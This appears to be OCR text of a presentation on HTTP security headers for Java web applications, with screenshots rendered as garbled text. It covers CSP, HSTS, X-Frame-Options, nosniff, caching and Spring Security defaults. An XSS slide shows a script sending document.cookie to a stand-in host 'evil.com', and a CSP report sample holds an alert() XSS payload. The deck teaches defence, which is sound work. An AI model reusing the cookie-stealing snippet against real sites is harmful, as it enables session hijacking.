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Policies are independent of framework and language

response.addHeader (
"Policy name’,
"Policy value’

) ;



User agent must understand and enforce every policy




Defense-in-depth: frontend only one line of defense
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Content Security Policy




Drive-by downloads
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Drive-by downloads in a nutshell

<html>
<body bgcolor="#FF0000">

This page should not be rendered as HTML.
</body>
</html>

response.setContentType("text/plain”);
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<html>

<body bgcolor="#FF0000">

This page should not be rendered as HTML.
</body>
</html>




response.addHeader (
"X-Content-Type-Options",
‘'nosniff”

) ;



X-Content-Type-Options browser support
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Sensitive data stored on the client




response.addHeader (
"Cache-Control ",
"no-store, no-cache,

must-revalidate"

) 7
response.addDateHeader (
"Expires ',
Il_lll

) ;



Cache-Control browser support




Clickjacking and Ul redressing attacks
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Clickjacking (Ul redressing) in a nutshell

Fake Login Form

Q-) Suche oder Adresse eingeben C'i w B Q ®f #£ - »

|GOO ( Login Form ® 00

Q.) Suche oder Adresse eingeben ci ﬁ e 0 ﬁ AN

Username

Password

; . bal
‘ e O 9 / Fake Login Form Overlay x Uk _ ‘ . _ ®

((':' ISucheoderAdresse eingeben -)' Q e @ ﬁ‘ g @ | =

Username

Password

e |




response.addHeader (
"X-Frame-Options ,
"DENY"

'SAME-ORIGIN"
"ALLOW-FROM [uri]“



X-Frame-Options browser support
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ALLOW-FROM only supported
by Firefox and Internet Explorer




OWASP ClickMe to scan for Clickjacking

e /1 1UsersJd  ckjackbest tmi -

Clickjack Test Page

Java Security Header

Each response header can be called in an unprotected and in a protected version, Every header is added by a filter. There
are no special pages for HSTS since this header is only active or inactive for the whole domain.

Protecicd form
Unprotecied form

X-Content-Type-Options

Unprotecicd
Protecied

Cache-Control

Unprotecied
Protecied

X-Frame-Options

Unprotecied
Proecied

Content Security Policy

Unprotecicd
Protecicd

Mtp./ /locathost . S080/ secunty-header

Chick Me

www.owasp.org/index.php/OWASP_Click_Me_Project
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HTTP Strict Transport Security (HST3)




response.addHeader (
"Strict-Transport-Security ,

‘max-age=31556926"
) 7

"'max-age=31556926; includeSubDomains"



The configured duration should never expire
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HSTS stops insecure communication

Requires HTTPS connection
No effect on HT TP connections

ﬂ All resources via HTTPS
’ - Includes scripts, images, ...
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Valid certificate required
No self-signed certificates any more



Most headers are only used in the active response




HTTP Strict Transport Security browser support




Cross-Site Scripting (XSS)
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Cross-Site Scripting in a nutshell

gxecutes | |

<script> User

var 1img
img.src
</script>

new Image():;
"http://evil.com?" + document.cookie;



response.addHeader (
"Content-Security-Policy',
"default-src 'self’’

) ;
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Content Security Policy directives

default-src default if specific directive is not set
object-src Sources in object, embed or applet tags
script-src Script sources (includes XSLT)

connect-src XMLHttpRequest, WebSocket, ...

font-src Font sources

frame-src Sources embeddable as frames
IMQg-Src lmage sources

media-src Video and audio sources

style-src CSS sources (does not include XSLT)

www.w3.0org/TR/CSP



Content Security Policy source list

g script-src * Wildcard
self’ script-src 'self’ Same origin only
(scheme, host, port)
none’ script-src ‘'none’ Prevent loading
any resource
*.sample.com SCript-src | oad from sulbdomain
Scrips.samle.com
hitps: script-src https: |_oad any script from
Nttps: origin



response.addHeader (
"Content-Security-Policy ',
"default-src "'none’;
script-src *.sample.com;
style-src sample.orqg’



response.addHeader (
"Content-Security-Policy-Report-Only",
"default-src 'self’;
report-uri CSPReporting’



Content Security Policy Report Only executes code
{

"document-uri":"http://.../reporting. jsp?
name=%3Cscript%3Ealert (%$27XSS%27)%3C/script%3E",

"referrer":"http://localhost:8080/security-header/
index.jsp'",

"blocked-uri":"self",

"violated-directive":"default-src http://localhost:8080",

"source-file":"http://.../reporting. jsp?
name=%3Cscript%3Ealert (%$27XSS%27)%3C/script%3E",

"script-sample":"alert('XSS')",

"line-number":10
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response.addHeader (
"Content-Security-Policy ,
"default-src "'none ;
script-src 'self’;
style-src 'self ;
img-src self’;
report-uri CSPReporting"



Use Caspr.io to analyze CSP violation reports
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Content Security Policy browser support

Partial support since It 10



Content Security Policy Level 2 adds more directives

frame-ancestors Allow resource frame embedding
Obsoletes X-Frame-Options header

reflected-xss (De-)activate user agent XSS heuristics
Obsoletes X-XSS-Protection header

child-src Replaces frame-src

form-action -orm targets to send data to
plugin-types Allowed plug-ins (their MIME type)
referrer Reterrer URL exposed to others
sandbox | oad resource In restricted sandbox

www.w3.0org/TR/CSP2


http://www.w3.org/TR/CSP2

response.addHeader (
"Content-Security-Policy',
"default-src 'self’;
frame-ancestors none "






Microsoft Internet Explorer XSS-Protection

response.addHeader (
"X-XSS-Protection’,
"1l; mode=block"

) ;



Implement all headers from the beglnnlng




Create a single Servlet filter class for every header




Spring Security 3.2 adds most headers automatically

@ X-Content-Type-Options

@ Cache-Control

@ X-Frame-Options

& HTTP Strict Transport Security
g X-XSS-Protection

Java Config XML Config
<http>
<headers />
’ <lee ... ==>

</http>



Make sure all headers are contained in the HT TP response

R Konsole HTML CSS Skript DOM Netzwerk ~ Cookies A\ ImNetzwe | A |V QGO0

¥ Leeren Dauerhaft @ HTML CSS  JavaScript XHR Bilder Plug~ins Medien Schriften

URL . Status - Domain | GroBe Remote-IP  Zeitlinie Al
¥ CGET reporting.jsp? 200 OX localhost: 8080 2838 [::1):8080

Parameter Header Antwort HTML Cache Cookies

V¥ Antwort-Header

Content-Length 283
Content-Type text/htal;charset«UTF-8
Date Thu, 04 Sep 2014 13:15:47 GMT
Server Apache-Coyote/1.1

addons.mozilla.org/en-US/tirefox/addon/firebug



Security Mea -
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cyh.herokuapp.com/cyh



Chrome extension Recx to check internal web applications

https/Nocalhost:8443/security-header/

o
N Click the icons in the tables below for a more detalled explanation
A B 4

HTTP security headers

Name Value

:
:

content-security-policy default-src ‘self’ V
x-content-type-options nosniff ,
x-frame-options deny ,
sinct-transport-security max-age=31556926, includesubdomans ,
cache-control no-store, no-cache, max-age=0, mus!-revalidate V
X~ xs5-protection 1, mode=block l ,
access-control-allow-origin Header not retumed ,

-+

WWWw.recx.co.uk/products/chromeplugin.php



Headers make some vulnerabllities harder to exploit

Drive-by Downloads
Sensitive Data Exposure
Clickjacking
Insecure Communication
Cross-Site Scripting
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